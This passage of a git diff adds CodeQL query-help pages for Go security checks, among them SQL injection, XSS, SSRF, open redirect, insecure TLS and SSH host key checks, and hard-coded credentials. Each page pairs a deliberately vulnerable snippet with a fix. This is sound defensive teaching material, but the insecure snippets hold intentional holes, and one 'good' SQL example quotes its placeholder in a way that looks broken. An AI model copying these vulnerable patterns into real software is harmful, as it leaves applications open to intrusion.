[CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/go/EmailInjection.md b/docs/language/query-help/go/EmailInjection.md new file mode 100644 index 00000000000..80fe4ea33a4 --- /dev/null +++ b/docs/language/query-help/go/EmailInjection.md @@ -0,0 +1,66 @@ +# Email content injection + +``` +ID: go/email-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-640 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-640/EmailInjection.ql) + +Using untrusted input to construct an email can cause multiple security vulnerabilities. For instance, inclusion of an untrusted input in an email body may allow an attacker to conduct cross-site scripting (XSS) attacks, while inclusion of an HTTP header may allow a full account compromise as shown in the example below. + + +## Recommendation +Any data which is passed to an email subject or body must be sanitized before use. + + +## Example +In the following example snippet, the `host` field is user controlled. + +A malicious user can send an HTTP request to the targeted website, but with a Host header that refers to their own website. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious website. + +If the email contains a password reset link, and the victim clicks the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. + + +```go +package main + +import ( + "net/http" + "net/smtp" +) + +func mail(w http.ResponseWriter, r *http.Request) { + host := r.Header.Get("Host") + token := backend.getUserSecretResetToken(email) + body := "Click to reset password: " + host + "/" + token + smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) +} + +``` +One way to prevent this is to load the host name from a trusted configuration file instead. + + +```go +package main + +import ( + "net/http" + "net/smtp" +) + +func mailGood(w http.ResponseWriter, r *http.Request) { + host := config.Get("Host") + token := backend.getUserSecretResetToken(email) + body := "Click to reset password: " + host + "/" + token + smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) +} + +``` + +## References +* OWASP: [Content Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) . +* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/go/HardcodedCredentials.md b/docs/language/query-help/go/HardcodedCredentials.md new file mode 100644 index 00000000000..37dc470366d --- /dev/null +++ b/docs/language/query-help/go/HardcodedCredentials.md @@ -0,0 +1,56 @@ +# Hard-coded credentials + +``` +ID: go/hardcoded-credentials +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + + +## Example +The following code example connects to a Postgres database using the `lib/pq` package and hard-codes user name and password: + + +```go +package main + +import ( + "database/sql" + "fmt" + + _ "github.com/lib/pq" +) + +const ( + user = "dbuser" + password = "s3cretp4ssword" +) + +func connect() *sql.DB { + connStr := fmt.Sprintf("postgres://%s:%s@localhost/pqgotest", user, password) + db, err := sql.Open("postgres", connStr) + if err != nil { + return nil + } + return db +} + +``` +Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. + + +## References +* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteHostnameRegexp.md b/docs/language/query-help/go/IncompleteHostnameRegexp.md new file mode 100644 index 00000000000..eb3e7d79ecd --- /dev/null +++ b/docs/language/query-help/go/IncompleteHostnameRegexp.md @@ -0,0 +1,75 @@ +# Incomplete regular expression for hostnames + +``` +ID: go/incomplete-hostname-regexp +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteHostnameRegexp.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. + +If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping regular-expression meta-characters such as `.`. + +Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behavior when it accidentally succeeds. + + +## Recommendation +Escape all meta-characters appropriately when constructing regular expressions for security checks, paying special attention to the `.` meta-character. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirect(req *http.Request, via []*http.Request) error { + // BAD: the host of `req.URL` may be controlled by an attacker + re := "^((www|beta).)?example.com/" + if matched, _ := regexp.MatchString(re, req.URL.Host); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` +The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. + +Address this vulnerability by escaping `.` appropriately: + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirectGood(req *http.Request, via []*http.Request) error { + // GOOD: the host of `req.URL` must be `example.com`, `www.example.com` or `beta.example.com` + re := "^((www|beta)\\.)?example\\.com/" + if matched, _ := regexp.MatchString(re, req.URL.Host); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteUrlSchemeCheck.md b/docs/language/query-help/go/IncompleteUrlSchemeCheck.md new file mode 100644 index 00000000000..c2c45b418fe --- /dev/null +++ b/docs/language/query-help/go/IncompleteUrlSchemeCheck.md @@ -0,0 +1,60 @@ +# Incomplete URL scheme check + +``` +ID: go/incomplete-url-scheme-check +Kind: problem +Severity: warning +Precision: high +Tags: security correctness external/cwe/cwe-020 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) + +URLs with the special scheme `javascript` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript` scheme. + +However, the `data` and `vbscript` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript`, but not against `data` and `vbscript`, is likely to be insufficient. + + +## Recommendation +Add checks covering both `data:` and `vbscript:`. + + +## Example +The following function validates a (presumably untrusted) URL `urlstr`. If its scheme is `javascript`, the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `urlstr` itself is returned. + + +```go +package main + +import "net/url" + +func sanitizeUrl(urlstr string) string { + u, err := url.Parse(urlstr) + if err != nil || u.Scheme == "javascript" { + return "about:blank" + } + return urlstr +} + +``` +While this check provides partial projection, it should be extended to cover `data` and `vbscript` as well: + + +```go +package main + +import "net/url" + +func sanitizeUrlGod(urlstr string) string { + u, err := url.Parse(urlstr) + if err != nil || u.Scheme == "javascript" || u.Scheme == "data" || u.Scheme == "vbscript" { + return "about:blank" + } + return urlstr +} + +``` + +## References +* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncorrectIntegerConversion.md b/docs/language/query-help/go/IncorrectIntegerConversion.md new file mode 100644 index 00000000000..afde852498a --- /dev/null +++ b/docs/language/query-help/go/IncorrectIntegerConversion.md @@ -0,0 +1,207 @@ +# Incorrect conversion between integer types + +``` +ID: go/incorrect-integer-conversion +Kind: path-problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-190 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-681/IncorrectIntegerConversion.ql) + +If a string is parsed into an int using `strconv.Atoi`, and subsequently that int is converted into another integer type of a smaller size, the result can produce unexpected values. + +This also applies to the results of `strconv.ParseInt` and `strconv.ParseUint` when the specified size is larger than the size of the type that number is converted to. + + +## Recommendation +If you need to parse integer values with specific bit sizes, avoid `strconv.Atoi`, and instead use `strconv.ParseInt` or `strconv.ParseUint`, which also allow specifying the bit size. + +When using those functions, be careful to not convert the result to another type with a smaller bit size than the bit size you specified when parsing the number. + +If this is not possible, then add upper (and lower) bound checks specific to each type and bit size (you can find the minimum and maximum value for each type in the `math` package). + + +## Example +In the first example, assume that an input string is passed to `parseAllocateBad1` function, parsed by `strconv.Atoi`, and then converted into an `int32` type: + + +```go +package main + +import ( + "strconv" +) + +func parseAllocateBad1(wanted string) int32 { + parsed, err := strconv.Atoi(wanted) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateBad2(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + return int32(parsed) +} + +``` +The bounds are not checked, so this means that if the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. + +To avoid unexpected values, you should either use the other functions provided by the `strconv` package to parse the specific types and bit sizes as shown in the `parseAllocateGood2` function; or check bounds as in the `parseAllocateGood1` function. + + +```go +package main + +import ( + "math" + "strconv" +) + +func main() { + +} + +const DefaultAllocate int32 = 256 + +func parseAllocateGood1(desired string) int32 { + parsed, err := strconv.Atoi(desired) + if err != nil { + return DefaultAllocate + } + // GOOD: check for lower and upper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} +func parseAllocateGood2(desired string) int32 { + // GOOD: parse specifying the bit size + parsed, err := strconv.ParseInt(desired, 10, 32) + if err != nil { + return DefaultAllocate + } + return int32(parsed) +} + +func parseAllocateGood3(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 32) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateGood4(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + // GOOD: check for lower and uppper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} + +``` + +## Example +In the second example, assume that an input string is passed to `parseAllocateBad2` function, parsed by `strconv.ParseInt` with a bit size set to 64, and then converted into an `int32` type: + + +```go +package main + +import ( + "strconv" +) + +func parseAllocateBad1(wanted string) int32 { + parsed, err := strconv.Atoi(wanted) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateBad2(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + return int32(parsed) +} + +``` +If the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. + +To avoid unexpected values, you should specify the correct bit size as in `parseAllocateGood3`; or check bounds before making the conversion as in `parseAllocateGood4`. + + +```go +package main + +import ( + "math" + "strconv" +) + +func main() { + +} + +const DefaultAllocate int32 = 256 + +func parseAllocateGood1(desired string) int32 { + parsed, err := strconv.Atoi(desired) + if err != nil { + return DefaultAllocate + } + // GOOD: check for lower and upper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} +func parseAllocateGood2(desired string) int32 { + // GOOD: parse specifying the bit size + parsed, err := strconv.ParseInt(desired, 10, 32) + if err != nil { + return DefaultAllocate + } + return int32(parsed) +} + +func parseAllocateGood3(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 32) + if err != nil { + panic(err) + } + return int32(parsed) +} +func parseAllocateGood4(wanted string) int32 { + parsed, err := strconv.ParseInt(wanted, 10, 64) + if err != nil { + panic(err) + } + // GOOD: check for lower and uppper bounds + if parsed > 0 && parsed <= math.MaxInt32 { + return int32(parsed) + } + return DefaultAllocate +} + +``` + +## References +* Wikipedia [Integer overflow](https://en.wikipedia.org/wiki/Integer_overflow). +* Go language specification [Integer overflow](https://golang.org/ref/spec#Integer_overflow). +* Documentation for [strconv.Atoi](https://golang.org/pkg/strconv/#Atoi). +* Documentation for [strconv.ParseInt](https://golang.org/pkg/strconv/#ParseInt). +* Documentation for [strconv.ParseUint](https://golang.org/pkg/strconv/#ParseUint). +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureHostKeyCallback.md b/docs/language/query-help/go/InsecureHostKeyCallback.md new file mode 100644 index 00000000000..24e639c77b6 --- /dev/null +++ b/docs/language/query-help/go/InsecureHostKeyCallback.md @@ -0,0 +1,87 @@ +# Use of insecure HostKeyCallback implementation + +``` +ID: go/insecure-hostkeycallback +Kind: path-problem +Severity: warning +Precision: high +Tags: security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-322/InsecureHostKeyCallback.ql) + +The `ClientConfig` specifying the configuration for establishing a SSH connection has a field `HostKeyCallback` that must be initialized with a function that validates the host key returned by the server. + +Not properly verifying the host key returned by a server provides attackers with an opportunity to perform a Machine-in-the-Middle (MitM) attack. A successful attack can compromise the confidentiality and integrity of the information communicated with the server. + +The `ssh` package provides the predefined callback `InsecureIgnoreHostKey` that can be used during development and testing. It accepts any provided host key. This callback, or a semantically similar callback, should not be used in production code. + + +## Recommendation +The `HostKeyCallback` field of `ClientConfig` should be initialized with a function that validates a host key against an allow list. If a key is not on a predefined allow list, the connection must be terminated and the failed security operation should be logged. + +When the allow list contains only a single host key then the function `FixedHostKey` can be used. + + +## Example +The following example shows the use of `InsecureIgnoreHostKey` and an insecure host key callback implemention commonly used in non-production code. + + +```go +package main + +import ( + "golang.org/x/crypto/ssh" + "net" +) + +func main() {} + +func insecureIgnoreHostKey() { + _ = &ssh.ClientConfig{ + User: "username", + Auth: []ssh.AuthMethod{nil}, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } +} + +func insecureHostKeyCallback() { + _ = &ssh.ClientConfig{ + User: "username", + Auth: []ssh.AuthMethod{nil}, + HostKeyCallback: ssh.HostKeyCallback( + func(hostname string, remote net.Addr, key ssh.PublicKey) error { + return nil + }), + } +} + +``` +The next example shows a secure implementation using the `FixedHostKey` that implements an allow-list. + + +```go +package main + +import ( + "golang.org/x/crypto/ssh" + "io/ioutil" +) + +func main() {} + +func secureHostKeyCallback() { + publicKeyBytes, _ := ioutil.ReadFile("allowed_hostkey.pub") + publicKey, _ := ssh.ParsePublicKey(publicKeyBytes) + + _ = &ssh.ClientConfig{ + User: "username", + Auth: []ssh.AuthMethod{nil}, + HostKeyCallback: ssh.FixedHostKey(publicKey), + } +} + +``` + +## References +* Go Dev: [package ssh](https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureTLS.md b/docs/language/query-help/go/InsecureTLS.md new file mode 100644 index 00000000000..fc494c46611 --- /dev/null +++ b/docs/language/query-help/go/InsecureTLS.md @@ -0,0 +1,84 @@ +# Insecure TLS configuration + +``` +ID: go/insecure-tls +Kind: path-problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-327/InsecureTLS.ql) + +The TLS (Transport Layer Security) protocol secures communications over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. + +The current latest version is 1.3 (with the 1.2 version still being considered secure). Older versions are not deemed to be secure anymore because of various security vulnerabilities, and tht makes them unfit for use in securing your applications. + +Unfortunately, many applications and websites still support deprecated SSL/TLS versions and cipher suites. + + +## Recommendation +Only use secure TLS versions (1.3 and 1.2) and avoid using insecure cipher suites (you can see a list here: https://golang.org/src/crypto/tls/cipher_suites.go#L81) + + +## Example +The following example shows a few ways how an insecure TLS configuration can be created: + + +```go +package main + +import ( + "crypto/tls" +) + +func main() {} + +func insecureMinMaxTlsVersion() { + { + config := &tls.Config{} + config.MinVersion = 0 // BAD: Setting the MinVersion to 0 equals to choosing the lowest supported version (i.e. SSL3.0) + } + { + config := &tls.Config{} + config.MinVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MinVersion. + } + { + config := &tls.Config{} + config.MaxVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MaxVersion. + } +} + +func insecureCipherSuites() { + config := &tls.Config{ + CipherSuites: []uint16{ + tls.TLS_RSA_WITH_RC4_128_SHA, // BAD: TLS_RSA_WITH_RC4_128_SHA is one of the non-secure cipher suites; it's not safe to be used. + }, + } + _ = config +} + +``` +The following example shows how to create a safer TLS configuration: + + +```go +package main + +import "crypto/tls" + +func saferTLSConfig() { + config := &tls.Config{} + config.MinVersion = tls.VersionTLS12 + config.MaxVersion = tls.VersionTLS13 + // OR + config.MaxVersion = 0 // GOOD: Setting MaxVersion to 0 means that the highest version available in the package will be used. +} + +``` + +## References +* Wikipedia: [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) +* Mozilla: [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS) +* OWASP: [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/go/MissingRegexpAnchor.md b/docs/language/query-help/go/MissingRegexpAnchor.md new file mode 100644 index 00000000000..6a538e4c191 --- /dev/null +++ b/docs/language/query-help/go/MissingRegexpAnchor.md @@ -0,0 +1,75 @@ +# Missing regular expression anchor + +``` +ID: go/regex/missing-regexp-anchor +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/MissingRegexpAnchor.ql) + +Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. + +Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. + + +## Recommendation +Use anchors to ensure that regular expressions match at the expected locations. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirect2(req *http.Request, via []*http.Request) error { + // BAD: the host of `req.URL` may be controlled by an attacker + re := "https?://www\\.example\\.com/" + if matched, _ := regexp.MatchString(re, req.URL.String()); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` +The check with the regular expression match is, however, easy to bypass. For example, the string `http://example.com/` can be embedded in the query string component: `http://evil-example.net/?x=http://example.com/`. + +Address these shortcomings by using anchors in the regular expression instead: + + +```go +package main + +import ( + "errors" + "net/http" + "regexp" +) + +func checkRedirect2Good(req *http.Request, via []*http.Request) error { + // GOOD: the host of `req.URL` cannot be controlled by an attacker + re := "^https?://www\\.example\\.com/" + if matched, _ := regexp.MatchString(re, req.URL.String()); matched { + return nil + } + return errors.New("Invalid redirect") +} + +``` +A related mistake is to write a regular expression with multiple alternatives, but to only anchor one of the alternatives. As an example, the regular expression `^www\.example\.com|beta\.example\.com` will match the host `evil.beta.example.com` because the regular expression is parsed as `(^www\.example\.com)|(beta\.example\.com)/`, so the second alternative `beta\.example\.com` is not anchored at the beginning of the string. + + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/OpenUrlRedirect.md b/docs/language/query-help/go/OpenUrlRedirect.md new file mode 100644 index 00000000000..1a17e26b449 --- /dev/null +++ b/docs/language/query-help/go/OpenUrlRedirect.md @@ -0,0 +1,71 @@ +# Open URL redirect + +``` +ID: go/unvalidated-url-redirection +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/OpenUrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: + + +```go +package main + +import ( + "net/http" +) + +func serve() { + http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + http.Redirect(w, r, r.Form.Get("target"), 302) + }) +} + +``` +One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: + + +```go +package main + +import ( + "net/http" + "net/url" +) + +func serve() { + http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + target, err := url.Parse(r.Form.Get("target")) + if err != nil { + // ... + } + + if target.Hostname() == "semmle.com" { + // GOOD: checking hostname + http.Redirect(w, r, target.String(), 302) + } else { + http.WriteHeader(400) + } + }) +} + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ReflectedXss.md b/docs/language/query-help/go/ReflectedXss.md new file mode 100644 index 00000000000..fde1daa8ebf --- /dev/null +++ b/docs/language/query-help/go/ReflectedXss.md @@ -0,0 +1,82 @@ +# Reflected cross-site scripting + +``` +ID: go/reflected-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-079/ReflectedXss.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. + + +## Example +The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. + + +```go +package main + +import ( + "fmt" + "net/http" +) + +func serve() { + http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + if !isValidUsername(username) { + // BAD: a request parameter is incorporated without validation into the response + fmt.Fprintf(w, "%q is an unknown user", username) + } else { + // TODO: do something exciting + } + }) + http.ListenAndServe(":80", nil) +} + +``` +Sanitizing the user-controlled data prevents the vulnerability: + + +```go +package main + +import ( + "fmt" + "html" + "net/http" +) + +func serve1() { + http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + if !isValidUsername(username) { + // GOOD: a request parameter is escaped before being put into the response + fmt.Fprintf(w, "%q is an unknown user", html.EscapeString(username)) + } else { + // TODO: do something exciting + } + }) + http.ListenAndServe(":80", nil) +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/go/RequestForgery.md b/docs/language/query-help/go/RequestForgery.md new file mode 100644 index 00000000000..d34cf6e79e5 --- /dev/null +++ b/docs/language/query-help/go/RequestForgery.md @@ -0,0 +1,81 @@ +# Uncontrolled data used in network request + +``` +ID: go/request-forgery +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-918 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-918/RequestForgery.ql) + +Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. + + +## Recommendation +To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.Get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. + +A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. + + +```go +package main + +import ( + "net/http" +) + +func handler(w http.ResponseWriter, req *http.Request) { + target := req.FormValue("target") + + // BAD: `target` is controlled by the attacker + resp, err := http.Get("https://" + target + ".example.com/data/") + if err != nil { + // error handling + } + + // process request response + use(resp) +} + +``` +One way to remedy the problem is to use the user input to select a known fixed string before performing the request: + + +```go +package main + +import ( + "net/http" +) + +func handler1(w http.ResponseWriter, req *http.Request) { + target := req.FormValue("target") + + var subdomain string + if target == "EU" { + subdomain = "europe" + } else { + subdomain = "world" + } + + // GOOD: `subdomain` is controlled by the server + resp, err := http.Get("https://" + subdomain + ".example.com/data/") + if err != nil { + // error handling + } + + // process request response + use(resp) +} + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/go/SqlInjection.md b/docs/language/query-help/go/SqlInjection.md new file mode 100644 index 00000000000..e0be1ef9554 --- /dev/null +++ b/docs/language/query-help/go/SqlInjection.md @@ -0,0 +1,62 @@ +# Database query built from user-controlled sources + +``` +ID: go/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/SqlInjection.ql) + +If a database query (such as an SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands that exfiltrate, tamper with, or destroy data stored in the database. + + +## Recommendation +Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation. + + +## Example +In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: + + +```go +package main + +import ( + "database/sql" + "fmt" + "net/http" +) + +func handler(db *sql.DB, req *http.Request) { + q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", + req.URL.Query()["category"]) + db.Query(q) +} + +``` +The handler constructs an SQL query involving user input taken from the request object unsafely using `fmt.Sprintf` to embed a request parameter directly into the query string `q`. The parameter may include quote characters, allowing a malicious user to terminate the string literal into which the parameter is embedded and add arbitrary SQL code after it. + +Instead, the untrusted query parameter should be safely embedded using placeholder parameters: + + +```go +package main + +import ( + "database/sql" + "net/http" +) + +func handlerGood(db *sql.DB, req *http.Request) { + q := "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='?' ORDER BY PRICE" + db.Query(q, req.URL.Query()["category"]) +} + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/go/StringBreak.md b/docs/language/query-help/go/StringBreak.md new file mode 100644 index 00000000000..9e8b96ddd49 --- /dev/null +++ b/docs/language/query-help/go/StringBreak.md @@ -0,0 +1,72 @@ +# Potentially unsafe quoting + +``` +ID: go/unsafe-quoting +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-089 external/cwe/cwe-094 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/StringBreak.ql) + +Code that constructs a string containing a quoted substring needs to ensure that any user-provided data embedded in between the quotes does not itself contain a quote. Otherwise the embedded data could 